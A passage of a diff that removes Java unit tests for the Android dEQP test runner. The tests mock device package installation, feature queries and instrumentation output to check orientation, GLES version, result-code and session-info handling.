-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).andReturn("")
-                .once();
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true), EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName()))))
-                .andReturn(null).once();
-
-        expectRenderConfigQuery(mockDevice, 3, 0);
-
-        String commandLine = String.format(
-                "--deqp-caselist-file=%s --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable",
-                CASE_LIST_FILE_NAME);
-
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice, testTrie, commandLine, output);
-
-        mockListener.testRunStarted(ID, testPaths.length);
-        EasyMock.expectLastCall().once();
-
-        for (int i = 0; i < testPaths.length; i++) {
-            mockListener.testStarted(EasyMock.eq(testIds[i]));
-            EasyMock.expectLastCall().once();
-
-            mockListener.testEnded(EasyMock.eq(testIds[i]),
-                    EasyMock.<Map<String, String>>notNull());
-
-            EasyMock.expectLastCall().once();
-        }
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).andReturn("")
-                .once();
-
-        EasyMock.replay(mockDevice, mockIDevice);
-        EasyMock.replay(mockListener);
-
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.run(mockListener);
-
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice, mockIDevice);
-    }
-
-    /**
-     * Test running a unexecutable test.
-     */
-    public void testRun_unexecutableTests() throws Exception {
-        final String instrumentationAnswerNoExecs =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-
-        final TestIdentifier[] testIds = {
-                new TestIdentifier("dEQP-GLES3.missing", "no"),
-                new TestIdentifier("dEQP-GLES3.missing", "nope"),
-                new TestIdentifier("dEQP-GLES3.missing", "donotwant"),
-        };
-
-        final String[] testPaths = {
-                "dEQP-GLES3.missing.no",
-                "dEQP-GLES3.missing.nope",
-                "dEQP-GLES3.missing.donotwant",
-        };
-
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IDevice mockIDevice = EasyMock.createMock(IDevice.class);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        Map<TestIdentifier, List<Map<String, String>>> instances = new HashMap<>();
-
-        for (TestIdentifier id : testIds) {
-            tests.add(id);
-            instances.put(id, DEFAULT_INSTANCE_ARGS);
-        }
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instances);
-        deqpTest.setAbi(UnitTests.ABI);
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).andReturn("")
-                .once();
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true), EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName()))))
-                .andReturn(null).once();
-
-        expectRenderConfigQuery(mockDevice, 3, 0);
-
-        String commandLine = String.format(
-                "--deqp-caselist-file=%s --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable",
-                CASE_LIST_FILE_NAME);
-
-        // first try
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{missing{no,nope,donotwant}}}", commandLine, instrumentationAnswerNoExecs);
-
-        // splitting begins
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{missing{no}}}", commandLine, instrumentationAnswerNoExecs);
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{missing{nope,donotwant}}}", commandLine, instrumentationAnswerNoExecs);
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{missing{nope}}}", commandLine, instrumentationAnswerNoExecs);
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{missing{donotwant}}}", commandLine, instrumentationAnswerNoExecs);
-
-        mockListener.testRunStarted(ID, testPaths.length);
-        EasyMock.expectLastCall().once();
-
-        for (int i = 0; i < testPaths.length; i++) {
-            mockListener.testStarted(EasyMock.eq(testIds[i]));
-            EasyMock.expectLastCall().once();
-
-            mockListener.testFailed(EasyMock.eq(testIds[i]),
-                    EasyMock.eq("=== with config {glformat=rgba8888d24s8,rotation=unspecified,surfacetype=window} ===\n"
-                    + "Abort: Test cannot be executed"));
-            EasyMock.expectLastCall().once();
-
-            mockListener.testEnded(EasyMock.eq(testIds[i]),
-                    EasyMock.<Map<String, String>>notNull());
-            EasyMock.expectLastCall().once();
-        }
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).andReturn("")
-                .once();
-
-        EasyMock.replay(mockDevice, mockIDevice);
-        EasyMock.replay(mockListener);
-
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.run(mockListener);
-
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice, mockIDevice);
-    }
-
-    /**
-     * Test that test are left unexecuted if pm list query fails
-     */
-    public void testRun_queryPmListFailure()
-            throws Exception {
-        final TestIdentifier testId = new TestIdentifier("dEQP-GLES3.orientation", "test");
-
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        tests.add(testId);
-
-        Map<TestIdentifier, List<Map<String, String>>> instance = new HashMap<>();
-        instance.put(testId, new ArrayList<Map<String,String>>(1));
-        instance.get(testId).add(new HashMap<String,String>());
-        instance.get(testId).iterator().next().put("glconfig", "rgba8888d24s8");
-        instance.get(testId).iterator().next().put("rotation", "90");
-        instance.get(testId).iterator().next().put("surfacetype", "window");
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instance);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        EasyMock.expect(mockDevice.executeShellCommand("pm list features"))
-                .andReturn("not a valid format");
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                .andReturn("").once();
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        EasyMock.replay(mockDevice);
-        EasyMock.replay(mockListener);
-        deqpTest.run(mockListener);
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice);
-    }
-
-    /**
-     * Test that test are left unexecuted if renderablity query fails
-     */
-    public void testRun_queryRenderabilityFailure()
-            throws Exception {
-        final TestIdentifier testId = new TestIdentifier("dEQP-GLES3.orientation", "test");
-
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        tests.add(testId);
-
-        Map<TestIdentifier, List<Map<String, String>>> instance = new HashMap<>();
-        instance.put(testId, new ArrayList<Map<String,String>>(1));
-        instance.get(testId).add(new HashMap<String,String>());
-        instance.get(testId).iterator().next().put("glconfig", "rgba8888d24s8");
-        instance.get(testId).iterator().next().put("rotation", "unspecified");
-        instance.get(testId).iterator().next().put("surfacetype", "window");
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instance);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "Maybe?");
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                .andReturn("").once();
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        EasyMock.replay(mockDevice);
-        EasyMock.replay(mockListener);
-        deqpTest.run(mockListener);
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice);
-    }
-
-    /**
-     * Test that orientation is supplied to runner correctly
-     */
-    private void testOrientation(final String rotation, final String featureString)
-            throws Exception {
-        final TestIdentifier testId = new TestIdentifier("dEQP-GLES3.orientation", "test");
-        final String testPath = "dEQP-GLES3.orientation.test";
-        final String testTrie = "{dEQP-GLES3{orientation{test}}}";
-        final String output = "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=" + testPath + "\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IDevice mockIDevice = EasyMock.createMock(IDevice.class);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        tests.add(testId);
-
-        Map<TestIdentifier, List<Map<String, String>>> instance = new HashMap<>();
-        instance.put(testId, new ArrayList<Map<String,String>>(1));
-        instance.get(testId).add(new HashMap<String,String>());
-        instance.get(testId).iterator().next().put("glconfig", "rgba8888d24s8");
-        instance.get(testId).iterator().next().put("rotation", rotation);
-        instance.get(testId).iterator().next().put("surfacetype", "window");
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instance);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        if (!rotation.equals(DeqpTestRunner.BatchRunConfiguration.ROTATION_UNSPECIFIED)) {
-            EasyMock.expect(mockDevice.executeShellCommand("pm list features"))
-                    .andReturn(featureString);
-        }
-
-        final boolean isPortraitOrientation =
-                rotation.equals(DeqpTestRunner.BatchRunConfiguration.ROTATION_PORTRAIT) ||
-                rotation.equals(DeqpTestRunner.BatchRunConfiguration.ROTATION_REVERSE_PORTRAIT);
-        final boolean isLandscapeOrientation =
-                rotation.equals(DeqpTestRunner.BatchRunConfiguration.ROTATION_LANDSCAPE) ||
-                rotation.equals(DeqpTestRunner.BatchRunConfiguration.ROTATION_REVERSE_LANDSCAPE);
-        final boolean executable =
-                rotation.equals(DeqpTestRunner.BatchRunConfiguration.ROTATION_UNSPECIFIED) ||
-                (isPortraitOrientation &&
-                featureString.contains(DeqpTestRunner.FEATURE_PORTRAIT)) ||
-                (isLandscapeOrientation &&
-                featureString.contains(DeqpTestRunner.FEATURE_LANDSCAPE));
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        if (executable) {
-            expectRenderConfigQuery(mockDevice, String.format(
-                    "--deqp-gl-config-name=rgba8888d24s8 --deqp-screen-rotation=%s "
-                    + "--deqp-surface-type=window --deqp-gl-major-version=3 "
-                    + "--deqp-gl-minor-version=0", rotation));
-
-            String commandLine = String.format(
-                    "--deqp-caselist-file=%s --deqp-gl-config-name=rgba8888d24s8 "
-                    + "--deqp-screen-rotation=%s "
-                    + "--deqp-surface-type=window "
-                    + "--deqp-log-images=disable "
-                    + "--deqp-watchdog=enable",
-                    CASE_LIST_FILE_NAME, rotation);
-
-            runInstrumentationLineAndAnswer(mockDevice, mockIDevice, testTrie, commandLine,
-                    output);
-        }
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                .andReturn("").once();
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        mockListener.testStarted(EasyMock.eq(testId));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testId), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        EasyMock.replay(mockDevice, mockIDevice);
-        EasyMock.replay(mockListener);
-        deqpTest.run(mockListener);
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice, mockIDevice);
-    }
-
-    /**
-     * Test OpeGL ES3 tests on device with OpenGL ES2.
-     */
-    public void testRun_require30DeviceVersion20() throws Exception {
-        testGlesVersion(3, 0, 2, 0);
-    }
-
-    /**
-     * Test OpeGL ES3.1 tests on device with OpenGL ES2.
-     */
-    public void testRun_require31DeviceVersion20() throws Exception {
-        testGlesVersion(3, 1, 2, 0);
-    }
-
-    /**
-     * Test OpeGL ES3 tests on device with OpenGL ES3.
-     */
-    public void testRun_require30DeviceVersion30() throws Exception {
-        testGlesVersion(3, 0, 3, 0);
-    }
-
-    /**
-     * Test OpeGL ES3.1 tests on device with OpenGL ES3.
-     */
-    public void testRun_require31DeviceVersion30() throws Exception {
-        testGlesVersion(3, 1, 3, 0);
-    }
-
-    /**
-     * Test OpeGL ES3 tests on device with OpenGL ES3.1.
-     */
-    public void testRun_require30DeviceVersion31() throws Exception {
-        testGlesVersion(3, 0, 3, 1);
-    }
-
-    /**
-     * Test OpeGL ES3.1 tests on device with OpenGL ES3.1.
-     */
-    public void testRun_require31DeviceVersion31() throws Exception {
-        testGlesVersion(3, 1, 3, 1);
-    }
-
-    /**
-     * Test dEQP Pass result code.
-     */
-    public void testRun_resultPass() throws Exception {
-        testResultCode("Pass", true);
-    }
-
-    /**
-     * Test dEQP Fail result code.
-     */
-    public void testRun_resultFail() throws Exception {
-        testResultCode("Fail", false);
-    }
-
-    /**
-     * Test dEQP NotSupported result code.
-     */
-    public void testRun_resultNotSupported() throws Exception {
-        testResultCode("NotSupported", true);
-    }
-
-    /**
-     * Test dEQP QualityWarning result code.
-     */
-    public void testRun_resultQualityWarning() throws Exception {
-        testResultCode("QualityWarning", true);
-    }
-
-    /**
-     * Test dEQP CompatibilityWarning result code.
-     */
-    public void testRun_resultCompatibilityWarning() throws Exception {
-        testResultCode("CompatibilityWarning", true);
-    }
-
-    /**
-     * Test dEQP ResourceError result code.
-     */
-    public void testRun_resultResourceError() throws Exception {
-        testResultCode("ResourceError", false);
-    }
-
-    /**
-     * Test dEQP InternalError result code.
-     */
-    public void testRun_resultInternalError() throws Exception {
-        testResultCode("InternalError", false);
-    }
-
-    /**
-     * Test dEQP Crash result code.
-     */
-    public void testRun_resultCrash() throws Exception {
-        testResultCode("Crash", false);
-    }
-
-    /**
-     * Test dEQP Timeout result code.
-     */
-    public void testRun_resultTimeout() throws Exception {
-        testResultCode("Timeout", false);
-    }
-    /**
-     * Test dEQP Orientation
-     */
-    public void testRun_orientationLandscape() throws Exception {
-        testOrientation("90", ALL_FEATURES);
-    }
-
-    /**
-     * Test dEQP Orientation
-     */
-    public void testRun_orientationPortrait() throws Exception {
-        testOrientation("0", ALL_FEATURES);
-    }
-
-    /**
-     * Test dEQP Orientation
-     */
-    public void testRun_orientationReverseLandscape() throws Exception {
-        testOrientation("270", ALL_FEATURES);
-    }
-
-    /**
-     * Test dEQP Orientation
-     */
-    public void testRun_orientationReversePortrait() throws Exception {
-        testOrientation("180", ALL_FEATURES);
-    }
-
-    /**
-     * Test dEQP Orientation
-     */
-    public void testRun_orientationUnspecified() throws Exception {
-        testOrientation("unspecified", ALL_FEATURES);
-    }
-
-    /**
-     * Test dEQP Orientation with limited features
-     */
-    public void testRun_orientationUnspecifiedLimitedFeatures() throws Exception {
-        testOrientation("unspecified", ONLY_LANDSCAPE_FEATURES);
-    }
-
-    /**
-     * Test dEQP Orientation with limited features
-     */
-    public void testRun_orientationLandscapeLimitedFeatures() throws Exception {
-        testOrientation("90", ONLY_LANDSCAPE_FEATURES);
-    }
-
-    /**
-     * Test dEQP Orientation with limited features
-     */
-    public void testRun_orientationPortraitLimitedFeatures() throws Exception {
-        testOrientation("0", ONLY_LANDSCAPE_FEATURES);
-    }
-
-    /**
-     * Test dEQP unsupported pixel format
-     */
-    public void testRun_unsupportedPixelFormat() throws Exception {
-        final String pixelFormat = "rgba5658d16m4";
-        final TestIdentifier testId = new TestIdentifier("dEQP-GLES3.pixelformat", "test");
-        final String testPath = "dEQP-GLES3.pixelformat.test";
-        final String testTrie = "{dEQP-GLES3{pixelformat{test}}}";
-        final String output = "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=" + testPath + "\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        tests.add(testId);
-
-        Map<TestIdentifier, List<Map<String, String>>> instance = new HashMap<>();
-        instance.put(testId, new ArrayList<Map<String,String>>(1));
-        instance.get(testId).add(new HashMap<String,String>());
-        instance.get(testId).iterator().next().put("glconfig", pixelFormat);
-        instance.get(testId).iterator().next().put("rotation", "unspecified");
-        instance.get(testId).iterator().next().put("surfacetype", "window");
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instance);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        expectRenderConfigQueryAndReturn(mockDevice, String.format(
-                "--deqp-gl-config-name=%s --deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", pixelFormat), "No");
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                .andReturn("").once();
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        mockListener.testStarted(EasyMock.eq(testId));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testId), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        EasyMock.replay(mockDevice);
-        EasyMock.replay(mockListener);
-        deqpTest.run(mockListener);
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice);
-    }
-
-    public void testRun_sessionInfoValueMissing() throws Exception {
-        final String instrumentationAnswerOk =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.test1\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-
-        final String instrumentationAnswerBroken =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n";
-
-        final TestIdentifier[] testIds = {
-                new TestIdentifier("dEQP-GLES3.instances", "test1"),
-        };
-
-        final String[] testPaths = {
-                "dEQP-GLES3.instances.test1",
-        };
-
-        Map<String,String> config = new HashMap<>();
-        config.put("glconfig", "rgba8888d24s8");
-        config.put("rotation", "unspecified");
-        config.put("surfacetype", "window");
-
-        Map<TestIdentifier, List<Map<String, String>>> instances = new HashMap<>();
-
-        instances.put(testIds[0], new ArrayList<Map<String,String>>());
-        instances.get(testIds[0]).add(config);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        for (TestIdentifier id : testIds) {
-            tests.add(id);
-        }
-
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IMocksControl orderedControl = EasyMock.createStrictControl();
